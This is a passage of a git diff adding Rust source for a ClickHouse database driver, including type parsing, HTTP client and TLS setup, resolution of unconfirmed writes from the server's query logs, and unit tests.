{ + plan: Some(self.element), + })? { + values.push(value); + } + Ok(Value::Array(values)) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn read(plan: &CellPlan, json: &[u8]) -> Value { + let mut deserializer = serde_json::Deserializer::from_slice(json); + CellSeed { plan: Some(plan) } + .deserialize(&mut deserializer) + .expect("a cell") + } + + #[test] + fn invalid_utf8_string_is_bytes() { + assert_eq!( + read(&CellPlan::Text, b"\"\xff\xfeA\""), + Value::Bytes(vec![0xff, 0xfe, b'A']) + ); + assert_eq!( + read(&CellPlan::Text, b"\"caf\xc3\xa9\""), + Value::Text("café".to_owned()) + ); + assert_eq!(read(&CellPlan::Text, br#""a\"b""#), Value::Text("a\"b".to_owned())); + } + + #[test] + fn numbers_keep_every_digit_quoted_or_bare() { + assert_eq!( + read(&CellPlan::Integer, b"\"18446744073709551615\""), + Value::UInt(u64::MAX) + ); + assert_eq!(read(&CellPlan::Integer, b"-7"), Value::Int(-7)); + let widest = "57896044618658097711785492504343953926634992332820282019728792003956564819967"; + let Value::WideInt(wide) = read(&CellPlan::Integer, format!("\"{widest}\"").as_bytes()) else { + panic!("an Int256 was not kept whole"); + }; + assert_eq!(wide.to_string(), widest); + let decimal = "12345678901234567890123456789012345678901234567890123456.12345678901234567890"; + assert_eq!( + read(&CellPlan::Decimal, decimal.as_bytes()), + Value::Decimal(decimal.parse().expect("a decimal")) + ); + } + + #[test] + fn non_finite_floats_arrive_quoted() { + let Value::Float32(nan) = read(&CellPlan::Float32, b"\"nan\"") else { + panic!("nan was not a Float32"); + }; + assert!(nan.is_nan()); + assert_eq!(read(&CellPlan::Float64, b"\"-inf\""), Value::Float64(f64::NEG_INFINITY)); + assert_eq!(read(&CellPlan::Float64, b"1.5"), Value::Float64(1.5)); + } + + #[test] + fn temporal_values_parse_and_fall_back_to_text() { + assert_eq!( + read(&CellPlan::DateTime, b"\"2024-06-15 08:30:00.123\""), + Value::Timestamp(Temporal::Finite( + chrono::NaiveDate::from_ymd_opt(2024, 6, 15) + .and_then(|date| date.and_hms_milli_opt(8, 30, 0, 123)) + .expect("a timestamp") + )) + ); + assert_eq!( + read(&CellPlan::Time, b"\"-100:00:01.5\""), + Value::Time(SqlTime::new(true, 100, 0, 1, 500_000_000).expect("a time")) + ); + assert!(matches!(read(&CellPlan::Date, b"\"not a date\""), Value::Other(_))); + } + + #[test] + fn nullable_arrays_and_raw_tokens() { + let nullable = CellPlan::Nullable(Box::new(CellPlan::Integer)); + assert_eq!(read(&nullable, b"null"), Value::Null); + assert_eq!(read(&nullable, b"3"), Value::Int(3)); + + let array = CellPlan::Array(Box::new(CellPlan::Nullable(Box::new(CellPlan::Text)))); + assert_eq!( + read(&array, br#"["a",null]"#), + Value::Array(vec![Value::Text("a".to_owned()), Value::Null]) + ); + + let map = CellPlan::Raw { + type_name: "Map(String, UInt8)".to_owned(), + }; + assert_eq!( + read(&map, br#"{"a":1}"#), + Value::Other(Box::new(OtherValue { + type_name: "Map(String, UInt8)".to_owned(), + text: r#"{"a":1}"#.to_owned(), + })) + ); + } +} diff --git a/linux/crates/drivers/clickhouse/src/clickhouse_type.rs b/linux/crates/drivers/clickhouse/src/clickhouse_type.rs new file mode 100644 index 0000000000..acc05596f5 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/clickhouse_type.rs @@ -0,0 +1,318 @@ +use std::collections::HashMap; + +use clickhouse_types::data_types::{DataTypeNode, DateTimePrecision}; +use tablepro_core::column::{ + BoolStorage, CatalogType, ColumnKind, ColumnType, FloatWidth, IntegerKind, IntegerWidth, NetworkFamily, ReadForm, + SqlTypeExpr, TemporalZone, TextLength, TimeRange, classify_type_name, has_dynamic_storage, +}; + +use crate::cell_seed::CellPlan; + +/// What one ClickHouse type name means: how the grid treats it, how a +/// cell of it is read off the wire, and whether it holds NULL. +/// +/// The name comes from the server (`system.columns.type` or a result +/// header), so it is also the declaration a value binds against. +#[derive(Debug, Clone, PartialEq)] +pub(crate) struct ClickHouseType { + pub(crate) column_type: ColumnType, + pub(crate) plan: CellPlan, + pub(crate) nullable: bool, +} + +impl ClickHouseType { + pub(crate) fn parse(text: &str) -> Self { + let text = text.trim(); + match parse_node(text) { + Some(node) => Self::from_node(text, &node), + None => Self::unparsed(text), + } + } + + fn from_node(text: &str, node: &DataTypeNode) -> Self { + let kind = kind_of(node); + let plan = CellPlan::of(node); + let read_form = if plan.reads_server_text() { + ReadForm::ServerText + } else { + ReadForm::Native + }; + Self { + column_type: ColumnType { + name: text.to_owned(), + dynamic_storage: has_dynamic_storage(&kind), + kind, + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text(text), + cast_target: SqlTypeExpr::from_catalog_text(value_type(node).to_string()), + }), + read_form, + }, + plan, + nullable: is_nullable(node), + } + } + + /// A name clickhouse-types does not parse, such as an + /// AggregateFunction or a named Tuple. The shared spellings still + /// place most of them, and the value is read as the server's text. + fn unparsed(text: &str) -> Self { + let kind = classify_type_name(text); + Self { + column_type: ColumnType { + name: text.to_owned(), + dynamic_storage: true, + kind, + catalog: Some(CatalogType { + declaration: SqlTypeExpr::from_catalog_text(text), + cast_target: SqlTypeExpr::from_catalog_text(text), + }), + read_form: ReadForm::ServerText, + }, + plan: CellPlan::Raw { + type_name: text.to_owned(), + }, + nullable: text.starts_with("Nullable(") || text.starts_with("LowCardinality(Nullable("), + } + } +} + +/// clickhouse-types slices a name at fixed byte offsets and at its last +/// byte, which land on character boundaries only when the name is ASCII +/// or ends in the closing parenthesis the server always prints. +fn parse_node(text: &str) -> Option { + if !text.is_ascii() && !text.ends_with(')') { + return None; + } + DataTypeNode::new(text).ok() +} + +/// The type a value of this column is bound as: the wrappers change how +/// it is stored, not what text the server parses for it, and a NULL is +/// written as the literal rather than bound. +fn value_type(node: &DataTypeNode) -> &DataTypeNode { + match node { + DataTypeNode::Nullable(inner) | DataTypeNode::LowCardinality(inner) => value_type(inner), + other => other, + } +} + +fn is_nullable(node: &DataTypeNode) -> bool { + match node { + DataTypeNode::Nullable(_) => true, + DataTypeNode::LowCardinality(inner) => is_nullable(inner), + _ => false, + } +} + +fn kind_of(node: &DataTypeNode) -> ColumnKind { + match node { + DataTypeNode::Bool => ColumnKind::Bool(BoolStorage::Native), + DataTypeNode::UInt8 => integer(IntegerWidth::W8, false), + DataTypeNode::UInt16 => integer(IntegerWidth::W16, false), + DataTypeNode::UInt32 => integer(IntegerWidth::W32, false), + DataTypeNode::UInt64 => integer(IntegerWidth::W64, false), + DataTypeNode::UInt128 => integer(IntegerWidth::W128, false), + DataTypeNode::UInt256 => integer(IntegerWidth::W256, false), + DataTypeNode::Int8 => integer(IntegerWidth::W8, true), + DataTypeNode::Int16 => integer(IntegerWidth::W16, true), + DataTypeNode::Int32 => integer(IntegerWidth::W32, true), + DataTypeNode::Int64 => integer(IntegerWidth::W64, true), + DataTypeNode::Int128 => integer(IntegerWidth::W128, true), + DataTypeNode::Int256 => integer(IntegerWidth::W256, true), + DataTypeNode::Float32 | DataTypeNode::BFloat16 => ColumnKind::Float(FloatWidth::F32), + DataTypeNode::Float64 => ColumnKind::Float(FloatWidth::F64), + DataTypeNode::Decimal(precision, scale, _) => ColumnKind::Decimal { + precision: Some(u32::from(*precision)), + scale: Some(u32::from(*scale)), + }, + DataTypeNode::String => ColumnKind::Text { + length: TextLength::Unbounded, + }, + DataTypeNode::FixedString(length) => ColumnKind::Text { + length: TextLength::Fixed(u32::try_from(*length).unwrap_or(u32::MAX)), + }, + DataTypeNode::UUID => ColumnKind::Uuid, + DataTypeNode::Date | DataTypeNode::Date32 => ColumnKind::Date, + DataTypeNode::DateTime(zone) => ColumnKind::Timestamp { + fractional_digits: Some(0), + zone: named_zone(zone.as_deref()), + }, + DataTypeNode::DateTime64(precision, zone) => ColumnKind::Timestamp { + fractional_digits: Some(digits(precision)), + zone: named_zone(zone.as_deref()), + }, + // ClickHouse Time runs past a day in both directions. + DataTypeNode::Time => ColumnKind::Time { + fractional_digits: Some(0), + with_offset: false, + range: TimeRange::Duration, + }, + DataTypeNode::Time64(precision) => ColumnKind::Time { + fractional_digits: Some(digits(precision)), + with_offset: false, + range: TimeRange::Duration, + }, + DataTypeNode::IPv4 => ColumnKind::Network(NetworkFamily::Ipv4), + DataTypeNode::IPv6 => ColumnKind::Network(NetworkFamily::Ipv6), + DataTypeNode::Nullable(inner) + | DataTypeNode::LowCardinality(inner) + | DataTypeNode::SimpleAggregateFunction(_, inner) => kind_of(inner), + DataTypeNode::Array(element) => ColumnKind::Array { + element: Box::new(kind_of(element)), + }, + DataTypeNode::Enum(_, labels) => enumeration(labels), + DataTypeNode::Variant(_) => ColumnKind::Variant, + DataTypeNode::Tuple(_) + | DataTypeNode::Map(_) + | DataTypeNode::AggregateFunction(..) + | DataTypeNode::Dynamic + | DataTypeNode::JSON + | DataTypeNode::JsonWithHint(_) => ColumnKind::Composite, + DataTypeNode::Point + | DataTypeNode::Ring + | DataTypeNode::LineString + | DataTypeNode::MultiLineString + | DataTypeNode::Polygon + | DataTypeNode::MultiPolygon => ColumnKind::Spatial, + // An Interval is a count of units, which no column stores, and a + // type added to clickhouse-types later is not guessed at. + _ => ColumnKind::Other, + } +} + +fn integer(width: IntegerWidth, signed: bool) -> ColumnKind { + ColumnKind::Integer(IntegerKind { width, signed }) +} + +fn named_zone(zone: Option<&str>) -> TemporalZone { + zone.map_or(TemporalZone::Naive, |zone| TemporalZone::Named(zone.to_owned())) +} + +fn digits(precision: &DateTimePrecision) -> u8 { + precision.to_string().parse().unwrap_or(0) +} + +/// The labels in the order of their values, which is the order the +/// server sorts and compares them in. +fn enumeration(labels: &HashMap) -> ColumnKind { + let mut ordered: Vec<(&i16, &String)> = labels.iter().collect(); + ordered.sort_by_key(|(value, _)| **value); + ColumnKind::Enum { + labels: ordered.into_iter().map(|(_, label)| label.clone()).collect(), + multiple: false, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn parsed(text: &str) -> ClickHouseType { + ClickHouseType::parse(text) + } + + #[test] + fn clickhouse_lowcardinality_nullable_string_datetime64_decimal76_map() { + let low = parsed("LowCardinality(Nullable(String))"); + assert_eq!( + low.column_type.kind, + ColumnKind::Text { + length: TextLength::Unbounded + } + ); + assert!(low.nullable); + assert_eq!( + low.column_type + .catalog + .as_ref() + .map(|catalog| catalog.cast_target.as_sql()), + Some("String") + ); + assert_eq!( + low.column_type + .catalog + .as_ref() + .map(|catalog| catalog.declaration.as_sql()), + Some("LowCardinality(Nullable(String))") + ); + + let stamp = parsed("DateTime64(3, 'UTC')"); + assert_eq!( + stamp.column_type.kind, + ColumnKind::Timestamp { + fractional_digits: Some(3), + zone: TemporalZone::Named("UTC".to_owned()), + } + ); + assert!(!stamp.nullable); + + let decimal = parsed("Decimal(76, 20)"); + assert_eq!( + decimal.column_type.kind, + ColumnKind::Decimal { + precision: Some(76), + scale: Some(20) + } + ); + + let map = parsed("Map(String, UInt64)"); + assert_eq!(map.column_type.kind, ColumnKind::Composite); + assert_eq!(map.column_type.read_form, ReadForm::ServerText); + } + + #[test] + fn wide_and_unsigned_integers_keep_width_and_sign() { + assert_eq!(parsed("UInt64").column_type.kind, integer(IntegerWidth::W64, false)); + assert_eq!(parsed("Int128").column_type.kind, integer(IntegerWidth::W128, true)); + assert_eq!(parsed("UInt256").column_type.kind, integer(IntegerWidth::W256, false)); + assert_eq!( + parsed("Nullable(Int8)").column_type.kind, + integer(IntegerWidth::W8, true) + ); + } + + #[test] + fn composites_variants_and_unparsed_names() { + for text in [ + "Tuple(UInt8, String)", + "Dynamic", + "JSON", + "AggregateFunction(uniq, UInt64)", + "Tuple(a String, b UInt8)", + "Nested(a String)", + ] { + assert_eq!(parsed(text).column_type.kind, ColumnKind::Composite, "{text}"); + assert!(parsed(text).plan.reads_server_text(), "{text}"); + } + assert_eq!(parsed("Variant(String, UInt64)").column_type.kind, ColumnKind::Variant); + assert_eq!(parsed("Point").column_type.kind, ColumnKind::Spatial); + assert_eq!(parsed("NoSuchType").column_type.kind, ColumnKind::Other); + } + + #[test] + fn enum_labels_follow_their_values() { + let kind = parsed("Enum8('b' = 2, 'a' = 1)").column_type.kind; + + assert_eq!( + kind, + ColumnKind::Enum { + labels: vec!["a".to_owned(), "b".to_owned()], + multiple: false + } + ); + } + + #[test] + fn an_array_of_nullable_keeps_the_element_kind() { + let array = parsed("Array(Nullable(UInt8))"); + + assert_eq!( + array.column_type.kind, + ColumnKind::Array { + element: Box::new(integer(IntegerWidth::W8, false)) + } + ); + assert!(!array.nullable, "the element's NULL was read as the column's"); + } +} diff --git a/linux/crates/drivers/clickhouse/src/client_factory.rs b/linux/crates/drivers/clickhouse/src/client_factory.rs new file mode 100644 index 0000000000..3d8af4f0f2 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/client_factory.rs @@ -0,0 +1,137 @@ +use std::time::Duration; + +use hyper_rustls::{FixedServerNameResolver, HttpsConnectorBuilder}; +use hyper_util::client::legacy::Client as HyperClient; +use hyper_util::rt::TokioExecutor; +use rustls_pki_types::ServerName; +use secrecy::ExposeSecret; +use tablepro_core::{ + APPLICATION_NAME, ConfigError, ConnectEnvironment, Credentials, DriverError, LivenessPolicy, NetworkTarget, + TlsFailure, +}; +use tablepro_net::tls::{TlsSetupError, build_client_config}; + +use crate::transport_connector::TransportConnector; + +/// Shorter than the server's keep-alive, which is 3 s before 23.11 and +/// 10 s after, so a pooled connection is never one the server is about +/// to close. +const POOL_IDLE_TIMEOUT: Duration = Duration::from_secs(2); + +/// The header that asks the server to log the user in by the client +/// certificate's common name instead of a password. +const CERTIFICATE_AUTH_HEADER: &str = "X-ClickHouse-SSL-Certificate-Auth"; + +/// The settings every request carries. +const COMMON_SETTINGS: [(&str, &str); 6] = [ + // A Decimal is written at its column's scale, so a value read back + // keeps the scale it was stored with and compares equal to it. + ("output_format_decimal_trailing_zeros", "1"), + // An error after the first rows is written as plain exception text, + // which the clickhouse crate detects, rather than as one more row in + // the output format, which would read as data. + ("http_write_exception_in_output_format", "0"), + // NaN and infinity are written as quoted words; without this they + // come back as null. + ("output_format_json_quote_denormals", "1"), + // The bytes of a String go out as stored, so a value that is not + // UTF-8 is read back exactly instead of with replacement characters. + ("output_format_json_validate_utf8", "0"), + // A save waits for its mutation, so the grid refetches what the save + // wrote rather than what was there before. + ("mutations_sync", "1"), + // A read whose connection the app dropped stops on the server even + // when no KILL could be sent. + ("cancel_http_readonly_queries_on_client_close", "1"), +]; + +/// The settings that hold a read-only connection to reads. +pub(crate) const READ_ONLY_SETTINGS: [(&str, &str); 2] = [("readonly", "2"), ("allow_ddl", "0")]; + +/// The client every request of one target goes through: hyper's pool +/// over the target's transport, the target's credentials and database, +/// and the settings every request carries. +/// +/// The clickhouse crate's own TLS stays unused: TLS is negotiated here, +/// over the transport's stream, against the trust the target names. +pub(crate) fn base_client( + target: &NetworkTarget, + liveness: &LivenessPolicy, + environment: &ConnectEnvironment, +) -> Result { + let connector = TransportConnector::new(target.transport.clone(), liveness.connect_timeout); + let tls = build_client_config(&target.tls).map_err(setup_error)?; + let mut builder = HyperClient::builder(TokioExecutor::new()); + builder.pool_idle_timeout(POOL_IDLE_TIMEOUT); + let scheme = if tls.is_some() { "https" } else { "http" }; + let client = match tls { + None => clickhouse::Client::with_http_client(builder.build(connector)), + Some(config) => { + let name = ServerName::try_from(target.tls_server_name().to_owned()) + .map_err(|_| DriverError::Config(ConfigError::InvalidServerName))?; + let https = HttpsConnectorBuilder::new() + .with_tls_config((*config).clone()) + .https_only() + .with_server_name_resolver(FixedServerNameResolver::new(name)) + .enable_http1() + .wrap_connector(connector); + clickhouse::Client::with_http_client(builder.build(https)) + } + }; + let mut client = client + .with_url(service_url(scheme, target)) + .with_product_info(APPLICATION_NAME, environment.client_version.clone()); + for (name, value) in COMMON_SETTINGS { + client = client.with_setting(name, value); + } + client = with_credentials(client, target)?; + if let Some(database) = target.database.as_deref().filter(|name| !name.is_empty()) { + client = client.with_database(database); + } + Ok(client) +} + +/// The URL names the service the transport reaches, not the socket it +/// opens, since that name is what the Host header and the certificate +/// are about. +fn service_url(scheme: &str, target: &NetworkTarget) -> String { + let service = target.transport.service_endpoint(); + let host = service.host(); + if host.contains(':') { + format!("{scheme}://[{host}]:{}", service.port()) + } else { + format!("{scheme}://{host}:{}", service.port()) + } +} + +fn with_credentials(client: clickhouse::Client, target: &NetworkTarget) -> Result { + let Credentials::Password { username, password } = &target.credentials else { + return Err(DriverError::Config(ConfigError::AuthModeUnsupported)); + }; + let mut client = client; + if !username.is_empty() { + client = client.with_user(username.as_str()); + } + if target.tls.client_identity.is_some() { + return Ok(client.with_header(CERTIFICATE_AUTH_HEADER, "on")); + } + let password = password.expose_secret(); + if !password.is_empty() { + client = client.with_password(password); + } + Ok(client) +} + +fn setup_error(error: TlsSetupError) -> DriverError { + match error { + TlsSetupError::Config(error) => DriverError::Config(error), + TlsSetupError::Rustls(error) => DriverError::Tls { + failure: TlsFailure::ClientIdentityInvalid, + detail: error.to_string(), + }, + other => DriverError::Tls { + failure: TlsFailure::Other, + detail: other.to_string(), + }, + } +} diff --git a/linux/crates/drivers/clickhouse/src/commit_resolution.rs b/linux/crates/drivers/clickhouse/src/commit_resolution.rs new file mode 100644 index 0000000000..58237fcb85 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/commit_resolution.rs @@ -0,0 +1,362 @@ +//! What became of a write whose answer never arrived, read from the +//! server's own records of the queries it ran. +//! +//! An ALTER runs its mutation wait inside the interpreter, so while it +//! waits the query log has no entry for it at all, and a wait that fails +//! is logged as ExceptionBeforeStart with no table named. The statement +//! is therefore looked for in `system.processes` when the log is silent, +//! and its mutation in `system.mutations` by creation time when its ALTER +//! failed while the mutation may live on. `system.mutations` has no +//! column linking a mutation to its ALTER, so any doubt is Unresolvable. + +use tablepro_core::{CommitResolution, CommitToken, DriverError, Value}; +use uuid::Uuid; + +use crate::call_client::CallClient; +use crate::errors::{code, server_code}; +use crate::result_reader::{CatalogRow, drain, read_table}; + +const LOG_SELECT: &str = "SELECT toString(type), query_kind, exception_code, databases, tables, \ + toString(query_start_time), toString(event_time) FROM system.query_log \ + WHERE event_date >= today() - 1 AND query_id = {id:String}"; + +/// `UNKNOWN_TABLE`: the server runs without a query log. +const UNKNOWN_TABLE: i32 = 60; + +/// One `system.query_log` entry of the statement. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct LogEntry { + pub(crate) event: String, + pub(crate) query_kind: String, + pub(crate) exception_code: i32, + pub(crate) databases: Vec, + pub(crate) tables: Vec, + pub(crate) started: String, + pub(crate) ended: String, +} + +/// The table a mutation is looked for in, where the log names it. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct MutatedTable { + pub(crate) database: String, + pub(crate) table: String, +} + +/// What the log alone says, or what else to ask. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) enum LogVerdict { + Resolved(CommitResolution), + /// Nothing says the statement ended, so only the server's list of + /// running queries can tell whether it is still going. + NotEnded, + /// A mutation's ALTER failed while the mutation may live on. + Mutation { + table: Option, + started: String, + ended: String, + }, +} + +/// Codes that end an ALTER's wait without saying anything about the +/// mutation it started: cancelled, timed out, or the wait gave up. +fn mutation_may_live_on(exception_code: i32) -> bool { + matches!( + exception_code, + code::QUERY_WAS_CANCELLED + | code::TIMEOUT_EXCEEDED + | code::UNFINISHED + | code::SOCKET_TIMEOUT + | code::NETWORK_ERROR + ) +} + +pub(crate) fn read_log(entries: &[LogEntry]) -> LogVerdict { + let find = |event: &str| entries.iter().find(|entry| entry.event == event); + if find("QueryFinish").is_some() { + return LogVerdict::Resolved(CommitResolution::Applied); + } + let before_start = find("ExceptionBeforeStart"); + let failed = before_start.or_else(|| find("ExceptionWhileProcessing")); + let Some(failed) = failed else { + return LogVerdict::NotEnded; + }; + let mutation = + failed.query_kind == "Alter" && (before_start.is_none() || mutation_may_live_on(failed.exception_code)); + if mutation { + return LogVerdict::Mutation { + table: mutated_table(failed), + started: failed.started.clone(), + ended: failed.ended.clone(), + }; + } + if before_start.is_some() { + return LogVerdict::Resolved(CommitResolution::NotApplied); + } + // An INSERT that failed part way may have written some of its blocks. + LogVerdict::Resolved(CommitResolution::Unresolvable) +} + +fn mutated_table(entry: &LogEntry) -> Option { + let database = entry.databases.first()?; + let table = entry.tables.first()?.strip_prefix(&format!("{database}."))?; + Some(MutatedTable { + database: database.clone(), + table: table.to_owned(), + }) +} + +/// One mutation in the window is the ALTER's; none means someone ran +/// KILL MUTATION, which removes the row but keeps the parts it already +/// changed, and more than one cannot be told apart. +pub(crate) fn read_mutations(done: &[bool]) -> CommitResolution { + match done { + [true] => CommitResolution::Applied, + [false] => CommitResolution::StillRunning, + _ => CommitResolution::Unresolvable, + } +} + +/// The batch's answer from its first unconfirmed statement's: work +/// confirmed before it, or statements never sent after it, make a +/// whole answer partial. +pub(crate) fn compose(first_unconfirmed: usize, statements: usize, statement: CommitResolution) -> CommitResolution { + match statement { + CommitResolution::NotApplied if first_unconfirmed > 0 => CommitResolution::PartiallyApplied, + CommitResolution::Applied if first_unconfirmed + 1 < statements => CommitResolution::PartiallyApplied, + other => other, + } +} + +/// Ask the server about the first statement a write could not confirm. +pub(crate) async fn resolve(calls: &CallClient, token: &CommitToken) -> Result { + let CommitToken::ClickHouseQuery { + query_ids, + first_unconfirmed, + } = token + else { + return Ok(CommitResolution::Unresolvable); + }; + let Some(query_id) = query_ids.get(*first_unconfirmed) else { + return Ok(CommitResolution::Unresolvable); + }; + match drain(calls.raw("SYSTEM FLUSH LOGS")).await { + Ok(_) => {} + Err(error) if server_code(&error) == Some(code::ACCESS_DENIED) => {} + Err(error) => return Err(error), + } + let entries = match log_entries(calls, *query_id).await { + Ok(entries) => entries, + Err(error) if matches!(server_code(&error), Some(code::ACCESS_DENIED | UNKNOWN_TABLE)) => { + return Ok(CommitResolution::Unresolvable); + } + Err(error) => return Err(error), + }; + let statement = match read_log(&entries) { + LogVerdict::Resolved(resolution) => resolution, + LogVerdict::NotEnded => still_running(calls, *query_id).await?, + LogVerdict::Mutation { table, started, ended } => mutation(calls, table.as_ref(), &started, &ended).await?, + }; + Ok(compose(*first_unconfirmed, query_ids.len(), statement)) +} + +async fn log_entries(calls: &CallClient, query_id: Uuid) -> Result, DriverError> { + let query = calls.raw(LOG_SELECT).param("id", query_id.to_string()); + let result = read_table(query, None).await?; + result + .rows + .iter() + .map(|row| { + let row = CatalogRow(row); + Ok(LogEntry { + event: row.text(0)?, + query_kind: row.text(1)?, + exception_code: row.integer(2)?, + databases: row.texts(3)?, + tables: row.texts(4)?, + started: row.text(5)?, + ended: row.text(6)?, + }) + }) + .collect() +} + +/// Logged as started and never ended: still running if the server still +/// lists it, and lost otherwise. +async fn still_running(calls: &CallClient, query_id: Uuid) -> Result { + let query = calls + .raw("SELECT count() FROM system.processes WHERE query_id = {id:String}") + .param("id", query_id.to_string()); + let result = read_table(query, None).await?; + let running = result + .rows + .first() + .and_then(|row| row.first()) + .and_then(Value::as_exact_u64) + .unwrap_or(0); + Ok(if running > 0 { + CommitResolution::StillRunning + } else { + CommitResolution::Unresolvable + }) +} + +async fn mutation( + calls: &CallClient, + table: Option<&MutatedTable>, + started: &str, + ended: &str, +) -> Result { + let window = "create_time >= {started:DateTime} AND create_time <= {ended:DateTime}"; + let query = match table { + Some(table) => calls + .raw(&format!( + "SELECT is_done FROM system.mutations WHERE database = {{db:String}} AND table = {{tbl:String}} AND {window}" + )) + .param("db", table.database.as_str()) + .param("tbl", table.table.as_str()), + None => calls.raw(&format!("SELECT is_done FROM system.mutations WHERE {window}")), + }; + let query = query.param("started", started).param("ended", ended); + let result = read_table(query, None).await?; + let done = result + .rows + .iter() + .map(|row| CatalogRow(row).flag(0)) + .collect::, _>>()?; + Ok(read_mutations(&done)) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn entry(event: &str, query_kind: &str, exception_code: i32) -> LogEntry { + LogEntry { + event: event.to_owned(), + query_kind: query_kind.to_owned(), + exception_code, + databases: vec!["tablepro".to_owned()], + tables: vec!["tablepro.events".to_owned()], + started: "2026-10-12 08:00:00".to_owned(), + ended: "2026-10-12 08:00:05".to_owned(), + } + } + + fn resolved(entries: &[LogEntry]) -> Option { + match read_log(entries) { + LogVerdict::Resolved(resolution) => Some(resolution), + _ => None, + } + } + + fn mutation(table: Option) -> LogVerdict { + LogVerdict::Mutation { + table, + started: "2026-10-12 08:00:00".to_owned(), + ended: "2026-10-12 08:00:05".to_owned(), + } + } + + fn events_table() -> Option { + Some(MutatedTable { + database: "tablepro".to_owned(), + table: "events".to_owned(), + }) + } + + #[test] + fn mapping_table() { + use CommitResolution::{Applied, NotApplied, StillRunning, Unresolvable}; + + assert_eq!( + read_log(&[]), + LogVerdict::NotEnded, + "an ALTER still waiting logs nothing" + ); + for kind in ["Insert", "Alter", "Create"] { + let start = entry("QueryStart", kind, 0); + assert_eq!( + resolved(&[start.clone(), entry("QueryFinish", kind, 0)]), + Some(Applied), + "{kind} finished" + ); + assert_eq!(read_log(&[start]), LogVerdict::NotEnded, "{kind} only started"); + assert_eq!( + resolved(&[entry("ExceptionBeforeStart", kind, 62)]), + Some(NotApplied), + "{kind} refused before it ran" + ); + } + assert_eq!( + resolved(&[ + entry("QueryStart", "Insert", 0), + entry("ExceptionWhileProcessing", "Insert", 394) + ]), + Some(Unresolvable), + "an INSERT that failed part way" + ); + assert_eq!( + resolved(&[entry("ExceptionBeforeStart", "Insert", 394)]), + Some(NotApplied), + "an INSERT stopped before it ran" + ); + assert_eq!( + resolved(&[entry("ExceptionWhileProcessing", "Create", 241)]), + Some(Unresolvable), + "a failed statement that is not a mutation" + ); + assert_eq!( + read_log(&[ + entry("QueryStart", "Alter", 0), + entry("ExceptionWhileProcessing", "Alter", 241) + ]), + mutation(events_table()) + ); + for code in [394, 159, 341, 209, 210] { + let mut failed = entry("ExceptionBeforeStart", "Alter", code); + failed.databases.clear(); + failed.tables.clear(); + assert_eq!( + read_log(&[failed]), + mutation(None), + "an ALTER whose wait ended with {code}" + ); + } + + let mutation_rows: [(&[bool], CommitResolution); 5] = [ + (&[], Unresolvable), + (&[true], Applied), + (&[false], StillRunning), + (&[true, false], Unresolvable), + (&[true, true], Unresolvable), + ]; + for (done, expected) in mutation_rows { + assert_eq!(read_mutations(done), expected, "{done:?}"); + } + } + + #[test] + fn a_statement_answer_composes_over_the_batch() { + use CommitResolution::{Applied, NotApplied, PartiallyApplied, StillRunning, Unresolvable}; + + assert_eq!(compose(0, 1, Applied), Applied); + assert_eq!(compose(0, 1, NotApplied), NotApplied); + assert_eq!( + compose(1, 2, NotApplied), + PartiallyApplied, + "an earlier statement landed" + ); + assert_eq!( + compose(0, 3, Applied), + PartiallyApplied, + "later statements were never sent" + ); + assert_eq!( + compose(2, 3, Applied), + Applied, + "the last statement completed the batch" + ); + assert_eq!(compose(1, 3, StillRunning), StillRunning); + assert_eq!(compose(1, 3, Unresolvable), Unresolvable); + } +} diff --git a/linux/crates/drivers/clickhouse/src/connection.rs b/linux/crates/drivers/clickhouse/src/connection.rs new file mode 100644 index 0000000000..1a906004c1 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/connection.rs @@ -0,0 +1,424 @@ +use std::future::Future; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::time::Duration; + +use async_trait::async_trait; +use tablepro_core::column::ColumnInfo; +use tablepro_core::ddl::TableDefinition; +use tablepro_core::dialect::SqlDialect; +use tablepro_core::meta::{IndexInfo, ObjectInfo, ObjectScope, RowIdentity, SchemaInfo, TableEstimate, TableRef}; +use tablepro_core::statement::Statement; +use tablepro_core::{ + CallOptions, CommitResolution, CommitToken, Connection, DriverError, EditorSession, EditorSessionOptions, + ErrorCategory, ForeignKeyInfo, LinkState, LinkWatch, LivenessPolicy, LossPhase, OwnedCalls, QueryResult, + ReadStatement, ResultSink, RowLimit, ServerInfo, StreamSummary, TimeoutPhase, WorkspaceSettings, WriteAtomicity, + WriteBatch, WriteLedger, WriteReport, +}; +use tokio::time::Instant; +use tokio_util::sync::{CancellationToken, WaitForCancellationFutureOwned}; + +use crate::call_client::{CallClient, read_bound, reading}; +use crate::cancel::{ClickHouseStop, StopProgress}; +use crate::catalog::{self, CatalogTable}; +use crate::commit_resolution::resolve; +use crate::dialect::ClickHouseDialect; +use crate::editor_session::ClickHouseEditorSession; +use crate::endpoint::ClickHouseEndpoint; +use crate::http_call::HttpCall; +use crate::metadata; +use crate::result_reader::read_table; +use crate::stream_read::stream; +use crate::write_batch::{WritePlan, perform, precheck}; + +/// A workspace's link to one ClickHouse server: hyper's pool behind the +/// sidebar, the grid and every save. +pub(crate) struct ClickHouseConnection { + endpoint: Arc, + calls: OwnedCalls, + settings: WorkspaceSettings, + server: ServerInfo, + default_database: String, + dialect: Arc, + link: LinkWatch, + closed: AtomicBool, +} + +/// Which client a call's queries go through. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Client { + /// The workspace's own, held to reads. + Reads, + /// The control client, for the driver's own SYSTEM statements. + Control, +} + +impl ClickHouseConnection { + pub(crate) fn new( + endpoint: Arc, + settings: WorkspaceSettings, + server: ServerInfo, + default_database: String, + ) -> Self { + let grace = endpoint.liveness().cancel_grace; + let dialect = Arc::new(ClickHouseDialect::new(&server)); + Self { + endpoint, + calls: OwnedCalls::new(grace), + settings, + server, + default_database, + dialect, + link: LinkWatch::new(), + closed: AtomicBool::new(false), + } + } + + fn liveness(&self) -> &LivenessPolicy { + self.endpoint.liveness() + } + + fn ensure_open(&self) -> Result<(), DriverError> { + if self.closed.load(Ordering::SeqCst) { + return Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }); + } + 